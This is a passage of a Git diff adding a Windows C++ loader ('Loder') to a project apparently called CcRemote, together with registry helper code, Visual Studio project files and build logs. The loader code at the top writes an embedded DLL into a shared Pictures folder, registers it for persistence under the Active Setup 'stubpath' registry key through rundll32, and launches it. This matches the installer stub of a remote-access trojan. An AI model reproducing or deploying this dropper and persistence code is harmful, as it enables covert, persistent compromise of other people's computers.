char ActiveXKey[64]; // ActiveX 的GUID字串
char strCmdLine[MAX_PATH]; // 存储启动的命令行参数
char fileName[MAX_PATH] = "cserver"; // ActiveX 的GUID字串
// ActiveX路径
char ActiveXPath[MAX_PATH] = "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\";
ZeroMemory(strFileName, MAX_PATH);
//ZeroMemory(ActiveXPath, MAX_PATH);
ZeroMemory(ActivexStr, 1024);
ZeroMemory(ActiveXKey, 64);
ZeroMemory(strCmdLine, MAX_PATH);
//得到Activex路径
//strcpy(ActiveXPath, "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\");
//得到Activex的GUID
GetNUM(ActiveXKey);
//构造dll完整文件名
//GetSystemDirectory(strFileName, MAX_PATH);
SHGetSpecialFolderPath(NULL, strFileName, CSIDL_COMMON_PICTURES, TRUE);
strcat(strFileName, "\\");
strcat(strFileName, fileName);
strcat(strFileName, ".dll");
//构造ActiveX的注册表键值
sprintf(ActivexStr, "%s%s", ActiveXPath, ActiveXKey);
//创建这个注册表
RegCreateKey(HKEY_LOCAL_MACHINE, ActivexStr, &hKey);
//构造程序启动的命令行参数
sprintf(strCmdLine, "%s %s,FirstRun", "rundll32.exe", strFileName);
//将参数写道注册表中
RegSetValueEx(hKey, "stubpath", 0, REG_EXPAND_SZ, (BYTE *)strCmdLine, lstrlen(strCmdLine));
//RegCloseKey(hKey);
//释放文件
CreateEXE(strFileName, IDR_DLL1, "DLL", ActiveXKey);
//启动服务端
STARTUPINFO StartInfo;
PROCESS_INFORMATION ProcessInformation;
StartInfo.cb = sizeof(STARTUPINFO);
StartInfo.lpDesktop = NULL;
StartInfo.lpReserved = NULL;
StartInfo.lpTitle = NULL;
StartInfo.dwFlags = STARTF_USESHOWWINDOW;
StartInfo.cbReserved2 = 0;
StartInfo.lpReserved2 = NULL;
StartInfo.wShowWindow = SW_SHOWNORMAL;
BOOL bReturn = CreateProcess(NULL, strCmdLine, NULL, NULL, FALSE, NULL, NULL, NULL, &StartInfo, &ProcessInformation);
return;
}
int main()
{
// TODO: Place code here.
ActiveXSetup();
return 0;
}

BIN
CcMainDll/Loder/Loder.rc Normal file

Binary file not shown.

View File

@@ -0,0 +1,181 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>15.0</VCProjectVersion>
<ProjectGuid>{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>Loder</RootNamespace>
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<OutDir>..\\..\\bin\\server</OutDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>..\\..\\bin\\server</OutDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MinSpace</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="Loder.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="RegEditEx.h" />
<ClInclude Include="resource.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Loder.rc" />
</ItemGroup>
<ItemGroup>
<None Include="..\..\bin\server\CcMainDll.dll" />
</ItemGroup>
<ItemGroup>
<Image Include="icon1.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@@ -0,0 +1,43 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="Loder.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="resource.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="RegEditEx.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Loder.rc">
<Filter>资源文件</Filter>
</ResourceCompile>
</ItemGroup>
<ItemGroup>
<None Include="..\..\bin\server\CcMainDll.dll" />
</ItemGroup>
<ItemGroup>
<Image Include="icon1.ico">
<Filter>资源文件</Filter>
</Image>
</ItemGroup>
</Project>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

243
CcMainDll/Loder/RegEditEx.h Normal file
View File

@@ -0,0 +1,243 @@
#include <windows.h>
//ȥ<><C8A5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>Ŀո<C4BF>
char *DelSpace(char *szData)
{
int i=0 ;
while(1)
{
if(strnicmp(szData+i," ",1))
break;
i++;
}
return (szData+i);
}
//<2F><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1>Ȩ<EFBFBD><C8A8>(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS)
int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security)
{
HKEY hKey;
SID_IDENTIFIER_AUTHORITY sia = SECURITY_NT_AUTHORITY;
PSID pSystemSid = NULL;
PSID pUserSid = NULL;
SECURITY_DESCRIPTOR sd;
PACL pDacl = NULL;
DWORD dwAclSize;
int iResult = 0;
__try
{
if(RegOpenKeyEx(MainKey, SubKey, 0, WRITE_DAC, &hKey)!= ERROR_SUCCESS)
__leave;
if(!AllocateAndInitializeSid(&sia,1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid ))
__leave;
if(!AllocateAndInitializeSid( &sia, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,0, 0, 0, 0, 0, 0, &pUserSid))
__leave;
dwAclSize = sizeof(ACL) + 2 * ( sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD) ) + GetLengthSid(pSystemSid) + GetLengthSid(pUserSid) ;
pDacl = (PACL)HeapAlloc(GetProcessHeap(), 0, dwAclSize);
if(pDacl == NULL)
__leave;
if(!InitializeAcl(pDacl, dwAclSize, ACL_REVISION))
__leave;
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, KEY_ALL_ACCESS, pSystemSid ))
__leave;
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, (unsigned long)security, pUserSid ))
__leave;
if(!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
__leave;
if(!SetSecurityDescriptorDacl(&sd, TRUE, pDacl, FALSE))
__leave;
if(RegSetKeySecurity(hKey, (SECURITY_INFORMATION)DACL_SECURITY_INFORMATION, &sd)!= ERROR_SUCCESS)
__leave;
iResult =1;
}
__finally
{
RegCloseKey(MainKey);
RegCloseKey(hKey);
if(pDacl !=NULL)
HeapFree(GetProcessHeap(), 0, pDacl);
if(pSystemSid !=NULL)
FreeSid(pSystemSid);
if(pUserSid !=NULL)
FreeSid(pUserSid);
}
return iResult;
}
//<2F><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D><><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD> 1-<2D><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD> 2-<2D><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3-<2D>жϸü<CFB8><C3BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>)
int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode)
{
HKEY hKey;
int ValueDWORD,iResult=0;
char* PointStr;
char KeyName[32],ValueSz[MAX_PATH],ValueTemp[MAX_PATH];
DWORD szSize,KnSize,dwIndex=0;
memset(KeyName,0,sizeof(KeyName));
memset(ValueSz,0,sizeof(ValueSz));
memset(ValueTemp,0,sizeof(ValueTemp));
__try
{
// SetKeySecurityEx(MainKey,SubKey,KEY_ALL_ACCESS);
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ,&hKey) != ERROR_SUCCESS)
{
iResult = -1;
__leave;
}
switch(Mode)
{
case 0:
switch(Type)
{
case REG_SZ:
case REG_EXPAND_SZ:
szSize = sizeof(ValueSz);
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
{
strcpy(szData,DelSpace(ValueSz));
iResult =1;
}
break;
case REG_MULTI_SZ:
szSize = sizeof(ValueSz);
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
{
for(PointStr = ValueSz; *PointStr; PointStr = strchr(PointStr,0)+1)
{
strncat(ValueTemp,PointStr,sizeof(ValueTemp));
strncat(ValueTemp," ",sizeof(ValueTemp));
}
strcpy(szData,ValueTemp);
iResult =1;
}
break;
case REG_DWORD:
szSize = sizeof(DWORD);
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)&ValueDWORD,&szSize ) == ERROR_SUCCESS)
{
wsprintf(szData,"%d",ValueDWORD);
iResult =1;
}
break;
case REG_BINARY:
szSize = lbSize;
if(RegQueryValueEx(hKey,Vname,NULL,&Type,szBytes,&szSize) == ERROR_SUCCESS)
iResult =1;
break;
}
break;
case 1:
while(1)
{
memset(ValueSz,0,sizeof(ValueSz));
szSize = sizeof(ValueSz);
if(RegEnumKeyEx(hKey,dwIndex++,ValueSz,&szSize,NULL,NULL,NULL,NULL) != ERROR_SUCCESS)
break;
wsprintf(ValueTemp,"[%s]\r\n",ValueSz);
strcat(szData,ValueTemp);
iResult =1;
}
break;
case 2:
while(1)
{
memset(KeyName,0,sizeof(KeyName));
memset(ValueSz,0,sizeof(ValueSz));
memset(ValueTemp,0,sizeof(ValueTemp));
KnSize = sizeof(KeyName);
szSize = sizeof(ValueSz);
if(RegEnumValue(hKey,dwIndex++,KeyName,&KnSize,NULL,&Type,(LPBYTE)ValueSz,&szSize) != ERROR_SUCCESS)
break;
switch(Type)
{
case REG_SZ:
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_SZ",ValueSz);
break;
case REG_EXPAND_SZ:
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_EXPAND_SZ",ValueSz);
break;
case REG_DWORD:
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName,"REG_DWORD",ValueSz,int(ValueSz));
break;
case REG_MULTI_SZ:
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_MULTI_SZ");
break;
case REG_BINARY:
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_BINARY");
break;
}
lstrcat(szData,ValueTemp);
iResult =1;
}
break;
case 3:
iResult =1;
break;
}
}
__finally
{
RegCloseKey(MainKey);
RegCloseKey(hKey);
}
return iResult;
}
//дע<D0B4><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D>½<EFBFBD><C2BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1-<2D><><EFBFBD>ü<EFBFBD><C3BC><EFBFBD><EFBFBD><EFBFBD> 2-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD> 3-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
int WriteRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char* szData,DWORD dwData,int Mode)
{
HKEY hKey;
DWORD dwDisposition;
int iResult =0;
__try
{
// SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS);
switch(Mode)
{
case 0:
if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS)
__leave;
case 1:
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
switch(Type)
{
case REG_SZ:
case REG_EXPAND_SZ:
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS)
iResult =1;
break;
case REG_DWORD:
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS)
iResult =1;
break;
case REG_BINARY:
break;
}
break;
case 2:
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS)
iResult =1;
break;
case 3:
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS)
iResult =1;
break;
}
}
__finally
{
RegCloseKey(MainKey);
RegCloseKey(hKey);
}
return iResult;
}

View File

@@ -0,0 +1,2 @@
f:\myapp\ccremote\ccmaindll\loder\release\loder.res
f:\myapp\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe

View File

@@ -0,0 +1,33 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
Loder.cpp
_WIN32_WINNT not defined. Defaulting to _WIN32_WINNT_MAXVER (see WinSDKVer.h)
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(94): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1961): note: 参见“_snprintf”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(327): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(328): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(329): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(334): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(339): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
正在生成代码
All 66 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
Loder.vcxproj -> F:\myapp\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe

Binary file not shown.

View File

@@ -0,0 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Release|Win32|F:\myapp\CcRemote\CcMainDll\|

BIN
CcMainDll/Loder/icon1.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 359 KiB

View File

@@ -0,0 +1,17 @@
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ <20><><EFBFBD>ɵİ<C9B5><C4B0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
// <20><> Loder.rc ʹ<><CAB9>
//
#define IDR_DLL1 101
#define IDI_ICON1 102
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 103
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif

View File

@@ -0,0 +1,3 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
TestLoadDll.cpp
TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe

View File

@@ -0,0 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Debug|Win32|F:\myapp\CcRemote\CcMainDll\|

View File

@@ -0,0 +1,14 @@
f:\myapp\ccremote\ccmaindll\testloaddll\release\vc141.pdb
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.obj
f:\myapp\ccremote\bin\server\testloaddll.exe
f:\myapp\ccremote\bin\server\testloaddll.pdb
f:\myapp\ccremote\bin\server\testloaddll.ipdb
f:\myapp\ccremote\bin\server\testloaddll.iobj
f:\myapp\ccremote\ccmaindll\testloaddll\..\..\bin\server\testloaddll.exe
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.command.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.read.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.write.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\testloaddll.write.1u.tlog

View File

@@ -0,0 +1,6 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
TestLoadDll.cpp
正在生成代码
All 171 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe

View File

@@ -0,0 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Release|Win32|F:\myapp\CcRemote\CcMainDll\|

View File

@@ -0,0 +1,25 @@
